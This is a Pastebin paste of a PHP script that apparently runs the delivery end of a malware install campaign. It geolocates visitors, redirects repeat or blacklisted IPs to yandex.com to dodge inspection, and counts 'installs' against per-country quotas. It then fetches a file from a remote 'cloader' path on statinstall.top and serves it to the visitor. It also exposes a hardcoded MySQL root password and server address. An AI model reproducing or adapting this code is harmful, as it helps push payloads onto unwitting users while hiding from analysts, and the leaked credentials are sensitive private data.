Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(-1); // reports all errors
- ini_set("display_errors", "1"); // shows all errors
- ini_set("log_errors", 1);
- require 'vendor/autoload.php';
- use GeoIp2\Database\Reader;
- $host = '185.203.118.216';
- $db = 'traffic';
- $user = 'root';
- $pass = 'EdQe4ud06H';
- $charset = 'utf8';
- $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
- $opt = [
- PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
- PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
- PDO::ATTR_EMULATE_PREPARES => false,
- ];
- $pdo = new PDO($dsn, $user, $pass, $opt);
- $url = "http://www.statinstall.top/111/rgfdrw/fgdf434/cloader";
- $offer = 2;
- $ip = getIP();
- if (strpos($ip, ',') !== false) {
- $ip_arr = explode(",", $ip);
- $ip = $ip_arr[0];
- }
- $reader = new Reader('GeoIP2-City.mmdb');
- try{
- $reader = new Reader('GeoIP2-City.mmdb');
- $record = $reader->city($ip);
- $country = $record->country->name;
- $cc = $record->country->isoCode;
- //add to db info
- }
- catch (GeoIp2\Exception\AddressNotFoundException $e ){
- $country = "Not found";
- $cc = "CA";
- }
- //////black list
- $a = $pdo->prepare('select * from ip_blacklist where ip = :ip limit 1');
- $a->bindParam(':ip', $ip);
- $a->execute();
- if ($a->rowCount() > 0)
- {
- //count++
- header('Location: http://yandex.com/');
- exit;
- }
- $b = $pdo->prepare('select * from `hits` where ip = :ip limit 1');
- $b->bindParam(':ip', $ip);
- $b->execute();
- if ($b->rowCount() > 0)
- {
- $s = $pdo->prepare('insert into ip_blacklist (ip, hit_count) values (:ip, 0)');
- $s->bindParam(':ip', $ip);
- $s->execute();
- header('Location: http://yandex.com/');
- exit;
- }
- //black list end
- $stmt = $pdo->prepare('
- select * from `traffic_task` where `status` = "work" and `oq` = 1 and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = :cc) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `status` = "work" and `oq` = 1 and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install` limit 1');
- $stmt->bindParam(':cc', $cc);
- $stmt->execute();
- if ($stmt->rowCount() > 0)
- {
- $res = $stmt->fetchAll();
- $q = $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
- $q->bindParam(':ip', $ip);
- $date = date('Y-m-d H:i:s');
- $q->bindParam(':date', $date);
- $q->bindParam(':task_id', $res[0]['id']);
- $q->bindParam(':country', $country);
- $q->bindParam(':offer_id', $offer);
- $q->execute();
- $date = date('Y-m-d H:i:s');
- $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1 where `id` = :task_id limit 1');
- $stmt->bindParam(':date', $date);
- $stmt->bindParam(':task_id', $res[0]['id']);
- $stmt->execute();
- $txt = $url . $res[0]['file_txt'];
- echo file_get_contents($txt);
- }
- else
- {
- //таск в очереди
- $stmt = $pdo->prepare('select * from `traffic_task` where `status` = "work" and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = :cc) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = :cc) and `status` = "work" and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install` limit 1');
- $stmt->bindParam(':cc', $cc);
- $stmt->execute();
- if ($stmt->rowCount() > 0)
- {
- $res = $stmt->fetchAll();
- $date = date('Y-m-d H:i:s');
- $q = $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
- $q->bindParam(':ip', $ip);
- $q->bindParam(':date', $date);
- $q->bindParam(':task_id', $res[0]['id']);
- $q->bindParam(':country', $country);
- $q->bindParam(':offer_id', $offer);
- $q->execute();
- $date = date('Y-m-d H:i:s');
- $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1 where `id` = :task_id limit 1');
- $stmt->bindParam(':date', $date);
- $stmt->bindParam(':task_id', $res[0]['id']);
- $stmt->execute();
- $txt = $url . $res[0]['file_txt'];
- echo file_get_contents($txt);
- }
- else
- {
- //таска нет
- }
- }
- function getIP()
- {
- if (isset($_SERVER["HTTP_X_REAL_IP"]))
- return $_SERVER["HTTP_X_REAL_IP"];
- else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
- return $_SERVER ["HTTP_X_FORWARDED_FOR"];
- return $_SERVER['REMOTE_ADDR'];
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement